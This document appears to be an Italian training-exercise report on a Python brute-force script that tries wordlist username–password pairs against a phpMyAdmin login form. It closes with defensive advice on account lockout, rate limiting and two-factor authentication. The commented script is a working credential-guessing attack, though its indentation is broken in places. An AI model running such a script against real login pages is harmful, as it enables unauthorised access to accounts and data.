TASK 04 - Report degli attacchi Brute Force sulla pagina phpmyadmin con evidenza della coppia username-password utilizzata per ottenere accesso all'area riservata

Il codice in questione è un programma in Python che esegue un attacco di forza bruta su un sito web. L'attacco consiste nel provare tutte le possibili combinazioni di nome utente e password fino a trovare quelle corrette.

Creazione del codice

import requests
#Importiamo il modulo requests che fornisce una libreria di funzioni per la comunicazione con i server web: permette di fare richieste HTTP

url = input ("Inserisci l'url del sito: ")
#Chiediamo all'utente di inserire l'URL del sito web da attaccare

utente_file = open("/usr/share/nmap/nselib/data/usernames.lst","r")
#Apre un file di testo che contiene una lista di nomi utente
password_file = open("/usr/share/nmap/nselib/data/passwords.lst","r")
#Apre un file di testo che contiene una lista di password

#"r": Questa modalità apre il file in modalità di sola lettura. È possibile leggere il contenuto del file, ma non modificarlo o sovrascriverlo. Se il file non esiste, verrà generato un errore.

#La funzione readlines() legge le righe di un file e le restituisce come una lista di stringhe
utente_lista = utente_file.readlines()
#Assegna la lista di nomi utente alla variabile utente_lista
password_lista = password_file.readlines()
#Assegna la lista di password alla variabile password_lista

trovato = 0
#Imposta una variabile "trovato" a 0, che indicherà se le credenziali corrette sono state trovate.

#Per ogni combinazione di nome utente e password:
for utente in utente_lista:
#Inizia un ciclo `for` che scorre ogni nome utente presente nella lista `utente_lista`
    utente = utente.rstrip()
    #Rimuove eventuali spazi bianchi intorno al nome utente (**`rstrip()`**)

    for password in password_lista:
    #Per ogni nome utente, avvia un altro ciclo `for` che scorre ogni password nella lista `password_lista`
        password = password.rstrip()
        #Rimuove eventuali spazi bianchi intorno alle password (**`rstrip()`**)
        print(utente, "-", password)
        #Restituisce la coppia utente-password attualmente testata (separate da "-")
        data = {'pma_username': utente, 'pma_password': password, 'Go': "Go"}
        #Crea una lista 'data' costituita da l'utente e la password del tentativo attuale e "Go" per mandare l'invio sul form htmlp. Questa lista ci servirà per mandare le informazioni alla pagina html

pma_username: È una chiave che si presume venga utilizzata come identificatore per il nome utente nel contesto dell'applicazione o del sistema che si sta tentando di accedere. Il valore associato a questa chiave è preso dalla variabile utente che è il nome utente attualmente in esame all'interno del ciclo.

pma_password: È la chiave associata alla password nel dizionario. Il valore associato a questa chiave è preso dalla variabile password che rappresenta la password attualmente in esame all'interno del ciclo.

Go: Questa chiave ha un valore fisso "Go". Potrebbe rappresentare un trigger o un segnale per indicare all'applicazione di proseguire con l'invio dei dati. Questo parametro potrebbe essere specifico per l'applicazione o il sistema che si sta tentando di accedere.

In sintesi, questa riga di codice crea un insieme di dati strutturati in una lista, che verrà inviata tramite una richiesta POST al server web (**requests.post**), con l'intenzione di testare le combinazioni di nomi utente e password per ottenere l'accesso:

invio_dati = requests.post (url, data = data)
#Invia una richiesta POST al sito web specificato tramite `requests.post` includendo le credenziali nell'oggetto `data`. Invia il dizionario al server web.

if not 'Access denied' in str(invio_dati.content):
#Verifica se la risposta del server contiene o meno la stringa 'Access denied'

trovato = 1
#Se non è presente, imposta la variabile 'trovato' a 1.

if trovato ==1:
    print ("Utente e password trovati:\n", utente, "\n", password)
    exit()
    #Se la variabile "trovato" è impostata a 1, il codice stampa a schermo i nomi utente e le password corrette e termina.

if trovato == 0:
    print ("\nCredenziali non trovate")
    #Se la variabile "trovato" è impostata a 0, il codice stampa a schermo un messaggio di errore.

Funzionamento del codice

Valutazione della robustezza della pagina di login agli attacchi di tipo Brute Force

Abbiamo eseguito un attacco tramite Brute Force, ovvero un tipo di attacco informatico il cui scopo è individuare le credenziali di accesso corrette ad un sistema informatico o ad un account utente, attraverso un processo di ripetuti tentativi automatizzati utilizzando una lista (Dizionario) di parole chiave, frasi o combinazioni di caratteri spesso utilizzati come password.

L'attacco ha evidenziato fin da subito uno scarso livello di sicurezza.

Limitazioni del codice

Il codice può generare i seguenti errori:

-Se l'URL del sito web non è corretto, il codice non sarà in grado di connettersi al sito web e fallirà.

-Se i nomi utente o le password non sono corretti, il codice non sarà in grado di accedere al sito web e fallirà.

-Se il codice viene eseguito per un periodo di tempo prolungato, potrebbe essere rilevato dal sistema di sicurezza del sito web e bloccato.

Possibili miglioramenti

Il codice potrebbe essere migliorato:

-Utilizzare un database per memorizzare le liste di nomi utente e password. Ciò consentirà di risparmiare tempo e spazio su disco.

-Utilizzare un algoritmo più efficiente per generare le combinazioni di nome utente e password. Ciò renderà l'attacco più veloce.

-Utilizzare un metodo diverso per verificare se le credenziali corrette sono state trovate. Ciò potrebbe ridurre il numero di tentativi necessari per trovare le credenziali corrette.

Conclusioni

Potenziali Rischi:

Un attacco di tipo Brute Force potrebbe portare alla compromissione delle credenziali di accesso, ciò consentirebbe l'accesso non autorizzato a dati sensibili e riservati dell'azienda.

E 'importante inoltre ricordare che utilizzare credenziali diverse per sistemi diversi è fondamentale, utilizzando le stesse credenziali si rischia di dare la possibilità, ad un attaccante che utilizza un attacco di forza bruta, di compromettere tutti i dispositivi su una rete

La perdita dei dati è una possibilità da non sottovalutare, con essa anche la possibilità di perdere credibilità agli occhi degli utenti finali.

Si consiglia, di configurare il sistema per bloccare temporaneamente gli account dopo un numero specifico di tentativi di accesso falliti, ad esempio tramite l'utilizzo di un Firewall Applicativo per monitorare e filtrare il traffico HTTP impedendo agli aggressori di continuare ad eseguire tentativi senza successo.

In questo caso configureremo un Application Firewall per rilevare un numero elevato di tentativi di accesso consecutivi da un singolo indirizzo IP nel corso di un breve periodo.

Quando rileva questa attività sospetta, può limitare ulteriori tentativi di accesso da quello specifico indirizzo IP, così l'impatto di un attacco Brute Force sul sistema sarà notevolmente ridotto.

Si consiglia inoltre di implementare l'autenticazione a due fattori per aggiungere un ulteriore livello di sicurezza, in tal modo sarà difficile eseguire l'accesso anche per un malintenzionato che dispone già delle credenziali di accesso.

Si rende inoltre indispensabile sottolineare quanto sia importante una Forte Autenticazione, ovvero l'implementazione di password complesse in aggiunta all'autenticazione a due fattori